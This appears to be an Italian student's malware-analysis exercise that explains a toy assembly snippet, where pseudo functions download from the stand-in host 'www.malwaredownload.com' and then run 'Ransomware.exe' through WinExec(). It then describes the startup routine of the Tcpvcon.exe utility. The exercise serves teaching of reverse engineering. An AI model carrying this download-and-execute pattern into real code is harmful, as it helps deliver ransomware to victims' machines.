Quesito 3

Part Four

Funzionalità implementate nel Malware

Il malware analizzato implementa diverse funzionalità che mirano a compromettere il sistema bersaglio. Le funzionalità del malware sono le seguenti:

1. Inizializzazione dei Registri:

- **mov EAX, 5:** Assegna il valore **5** al registro **EAX**, inizializzandolo.
- **mov EBX, 10:** Assegna il valore **10** al registro **EBX**, inizializzandolo.

Queste istruzioni configurano i registri **EAX** e **EBX** per i confronti e le operazioni che seguiranno.

2. Controllo del Flusso del Programma

- **cmp EAX, 5:** Confronta il valore contenuto nel registro **EAX** con il numero **5**.
- **jnz loc 0040BBA0:** Esegue un salto alla locazione **0040BBA0 (Tabella 2)** se **EAX** è diverso da **5.** Tuttavia, poiché EAX è uguale a **5**, questo salto non viene eseguito.
- **inc EBX:** Incrementa il valore del registro **EBX** di **1**, portando il suo valore a **11**.
- **cmp EBX, 11:** Confronta il valore contenuto nel registro **EBX** con il numero **11**.
- **jz loc 0040FFA0:** Esegue un salto alla locazione **0040FFA0 (Tabella 3)** se **EBX** è uguale a **11**.

In questo caso, poiché **EBX** è effettivamente uguale a **11,** il salto viene eseguito.

Quesito 3

Part Four

Funzionalità implementate nel Malware

3. Download di un File da un URL Specificato:

- **mov EAX, EDI:** Assegna il valore memorizzato nel registro **EDI** al registro **EAX**. In questo contesto, il valore rappresenta **l'URL "ww.malwaredownload.com".**
- **push EAX:** Inserisce il valore contenuto nel registro **EAX** (che è l'URL) nello stack.
- **call DownloadToFile():** Esegue una chiamata alla funzione denominata **DownloadToFile()**, che ha il compito di scaricare un file dall'URL specificato precedentemente.

4. Esecuzione di un File Eseguibile:

- **mov EDX, EDI:** Assegna il valore memorizzato nel registro **EDI**, che rappresenta il percorso del file eseguibile **"C:\Program and Settings\Local User\Desktop\Ransomware.exe"**, al registro **EDX**.
- **push EDX:** Inserisce il valore contenuto nel registro **EDX** (che è il percorso del file eseguibile) nello stack.
- **call WinExec():** Esegue una chiamata alla funzione denominata **WinExec(),** la quale ha il compito di avviare l'esecuzione del file specificato dal percorso precedentemente memorizzato. Questa funzione è una rappresentazione semplificata di un meccanismo di esecuzione di file, utilizzata in questo esempio per eseguire il malware.

Quesito 4

Passaggio degli argomentialle chiamate di funzione

Part Five

Nel linguaggio assembly, l'istruzione **call** è utilizzata per invocare una funzione o un sotto-programma. Quando un'istruzione **call** viene eseguita, l'indirizzo di ritorno, ovvero l'indirizzo dell'istruzione immediatamente successiva alla chiamata, viene automaticamente salvato nello stack prima di trasferire il controllo alla funzione chiamata.

Tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Nella **Tabella 2**, l'indirizzo dell'URL **"www.malwaredownload.com"** viene caricato nel registro **EAX** tramite l'istruzione **mov**.
Successivamente, il contenuto del registro **EAX**, che ora contiene l'indirizzo dell'URL, viene passato come argomento alla funzione **DownloadToFile()** mediante l'istruzione **push**, la quale inserisce il valore del registro nello stack.
Successivamente, l'istruzione **call** viene utilizzata per invocare la funzione, consentendo il download di ulteriori file malevoli.

Quesito 4

Passaggio degli argomentialle chiamate di funzione

Part Five

Nella **Tabella 3**, il percorso del file eseguibile **("C:\Program and Settings\Local User\Desktop\Ransomware.exe")** viene caricato nel registro **EDX** tramite l'istruzione **mov**.
Successivamente, il valore del registro **EDX**, contenente il percorso del file, viene passato come argomento alla funzione **WinExec()** utilizzando l'istruzione **push**, che inserisce il valore del registro nello stack.
Di seguito, l'istruzione **call** viene impiegata per invocare la funzione, che avvia l'esecuzione del file specificato.

Tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C\Program and Settings \Local User\Desktop \Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

In entrambi i casi, i registri vengono impiegati per passare gli argomenti necessari alle funzioni chiamate, prima dell'esecuzione dell'istruzione **call**.

Quesito 4

Passaggio degli argomentialle chiamate di funzione

Part Five

Il **malware** analizzato ha diverse funzioni:

1. **Inizializzazione dei registri** per predisporre il corretto flusso di esecuzione.
2. **Gestione del flusso** del programma attraverso confronti e salti condizionali, che determinano il percorso di esecuzione in base ai valori presenti nei registri.
3. **Download di un file** da un URL specifico **(www.malwaredownload.com)**, consentendo al malware di scaricare ulteriori componenti dannosi dalla rete.
4. **Esecuzione di un file eseguibile** ("C:\Program and Settings\Local User\Desktop\Ransomware.exe"), che rappresenta la fase finale dell'attacco.

Dalla **Tabella 2** emerge che il codice agisce come un **downloader**, un tipo di malware progettato per scaricare e installare ulteriori componenti dannosi o risorse esterne da un server remoto senza il consenso dell'utente.

Nella **Tabella 3**, il codice esegue un file con estensione "**.exe**", suggerendo che questo file potrebbe essere un ransomware. Il **ransomware** è un tipo di malware comunemente utilizzato per crittografare i file presenti sul computer della vittima. L'uso della funzione **WinExec()** per avviare questo file eseguibile conferma che il codice stia tentando di eseguire il ransomware sul sistema locale.

Bonus

Funzionamento di Tcpvcon.exe

Part Six

1. **Inizializzazione dei Registri:**

La funzione principale **main** avvia la sua esecuzione riservando spazio nello stack per le variabili locali e per i parametri **(argc, argv, envp)**. Viene quindi invocata una funzione di inizializzazione, suggerendo che il programma stia predisponendo l'ambiente necessario per le successive operazioni.

2. **Inizializzazione di Winsock**

Un passaggio cruciale di questo codice è l'inizializzazione della libreria Winsock mediante la chiamata alla funzione **WSAStartup**. Winsock è una libreria di rete per il sistema operativo Windows, la cui inizializzazione è indispensabile per qualunque operazione di rete che il programma intenda eseguire.
La funzione **WSAStartup** viene invocata con una versione specifica **(Winsock 1.1)**. Qualora questa chiamata fallisca, il programma non sarà in grado di effettuare operazioni di rete.

Bonus

Funzionamento di Tcpvcon.exe

Part Six

3. **Configurazione delle Sezioni Critiche**

Successivamente, il programma procede a configurare una **"Critical Section"**, una tecnica impiegata per sincronizzare l'accesso a risorse condivise tra diversi thread, prevenendo così condizioni di gara **(race conditions)**.

4. **Gestione degli Argomenti della Linea di Comando**

Viene quindi eseguita una serie di operazioni sui parametri **argc** e **argv**, che contengono rispettivamente il numero degli argomenti e gli argomenti stessi passati al programma.
Due funzioni, **sub_41BB90** e **sub_41A380**, vengono chiamate con questi parametri, probabilmente per analizzare e gestire gli input forniti dall'utente.

5. **Controllo del Risultato**

Successivamente, il programma verifica se le chiamate alle funzioni di gestione degli argomenti hanno avuto esito positivo (**mediante l'istruzione test ecx, ecx**).
In caso di errore, l'esecuzione viene diretta a una routine di gestione degli errori.

Bonus

Funzionamento di Tcpvcon.exe

Part Six

6. **Gestione degli Errori**

Nel caso in cui si verifichi un problema durante l'inizializzazione, in particolare con Winsock, il programma visualizza un messaggio di errore **("Could not initialize Winsock.\n")** e termina l'esecuzione in modo sicuro, eseguendo operazioni di pulizia e restituendo un codice di errore.

7. **Conclusione della Funzione**

Infine, il programma ripristina lo stack e i registri, restituendo al chiamante un valore che indica se l'inizializzazione è avvenuta correttamente o meno.

In conclusione, questo codice fa parte di un programma che si prepara per l'esecuzione, con particolare attenzione all'inizializzazione di Winsock, necessaria per le operazioni di rete.